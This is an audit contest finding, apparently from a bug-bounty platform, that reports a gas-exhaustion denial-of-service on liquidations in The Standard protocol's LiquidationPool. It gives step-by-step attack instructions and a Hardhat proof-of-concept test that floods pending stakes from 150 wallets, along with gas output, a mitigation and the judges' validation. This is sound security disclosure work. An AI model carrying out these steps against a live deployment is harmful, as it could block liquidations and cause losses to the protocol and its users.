The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Permanent DDoS of liquidations which will lead to protocol funds loss (pending stakes)

Summary

Due to an inefficient mechanism of pending stakes for pool holders in LiquidationPool, liquidations will be broken after a moderately large number of malicious holders who increased positions in 1 day.

Vulnerability Details

Bad debt note

The main invariant of collateralised stablecoins is: Issued stable coin value <= collateral value * collateral factor (or euro value < collateral value / collateralRate in terms of The Standard protocol), where 0 <= collateral factor <= 1. This invariant should be valid both for each position and for the whole protocol.

There are two cases of invariant break for a position:

  • collateral value * collateral factor < Issued stable coin value <= collateral value - in such cases, the position is liquidated, collateral is sold, and its value is enough to repay (burn) all issued stablecoins.

  • Issued stable coin value > collateral value - in such cases, the position is also liquidated, collateral is sold, but its value is not enough to repay (burn) all issued stablecoins:

    • X - issued stablecoins, Y - repaid and burnt during liquidation stablecoins where Y < X. X-Y is the protocol's bad debt. It means if all users close their positions, X-Y stablecoins are still issued. But this amount is backed by nothing.

When the protocol has bad debt, the fair price of a stablecoin = (Issued stablecoins - Bad debt) / Issued stablecoins and it is < 1. It means that the stablecoin tends to be unpegged.

To return the peg, the protocol must buy stablecoins from the market and burn them. It means that Bad debt is the direct protocol loss.

Declared protocol Compatibilities: Any EVM chains with live Chainlink data feeds and live Uniswap pools.

Many EVM blockchains have a block gas limit of several tens of millions.

In LiquidationPool, the stake of a user is delayed for 1 day (see LiquidationPool::increasePosition and LiquidationPool::consolidatePendingStakes).

Attack:

  • The pool is deployed.

  • Attacker calls LiquidationPool::increasePosition from 150 addresses with _eurosVal=1 in a short period of time (1 or several blocks).

  • The next day all methods which call LiquidationPool::consolidatePendingStakes require > 30mln of gas, which is more than the block gas limit of many EVM networks:

    • LiquidationPool::increasePosition

    • LiquidationPool::decreasePosition

    • LiquidationPool::distributeAssets, which is called during liquidations.

  • Liquidations are broken.

PoC. This test should be run with hardhat blockGasLimit: 20000000000 and placed in test/liquidationPoolManager.js inside describe('runLiquidation', async () => { block.

async function generateSigners(count, addBalance=false) {
let addresses = [];
const hdNode = ethers.utils.HDNode.fromMnemonic('above bacon road mechanic alert nephew flight talent skate endless caught license sail museum candy');
for (let i=0; i<count; i++) {
addresses.push(new ethers.Wallet(hdNode.derivePath(`m/44'/60'/0'/0/${i}`), ethers.provider));
await ethers.provider.send("hardhat_setBalance", [addresses[i].address, '0x3635c9adc5dea00000' /* 1000Ether */]);
}
return addresses;
}
for (const num of [10, 50, 150]) {
it.only(`increase position after ${num} holders`, async () => {
addresses = await generateSigners(num);
for ( i = 0; i< num; i++) {
const i_eurosStake = 1;
await EUROs.mint(addresses[i].address, i_eurosStake);
await EUROs.connect(addresses[i]).approve(LiquidationPool.address, i_eurosStake);
await LiquidationPool.connect(addresses[i]).increasePosition(0, i_eurosStake);
}
await fastForward(DAY);
const tstStake2 = 1;
await TST.mint(holder2.address, tstStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
// increasePosition is used for simplicity. LiquidationPoolManager.runLiquidation will require even more
const receipt = await LiquidationPool.connect(holder2).increasePosition(tstStake2, 0);
console.log(`Gas for increasePosition after ${num} holders: `, (await receipt.wait()).gasUsed.toString())
});
}

Output:

LiquidationPoolManager
runLiquidation
Gas for increasePosition after 10 holders: 780452
Gas for increasePosition after 50 holders: 5461897
Gas for increasePosition after 150 holders: 32033949

It shows that after an attack with 150 holders, LiquidationPoolManager::runLiquidation will require > 30mln of gas, which is more than the block gas limit of many EVM networks. This will lead to a permanent DDoS of liquidations (until upgrade).

Even in Arbitrum, with its huge block gas limit, sooner or later the liquidation transaction cost will be higher than the profit from liquidations.

Impact

Broken/delayed liquidations on a falling market will lead to loss of protocol funds due to undercollateralisation of minted EUROs.

Tools Used

Manual review

Recommended Mitigation

The stake delay mechanism must be rewritten. A two-phase mechanism could be used:

  • Holders add delayed stake.

  • After 1 day, stakers release hold from their stake.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!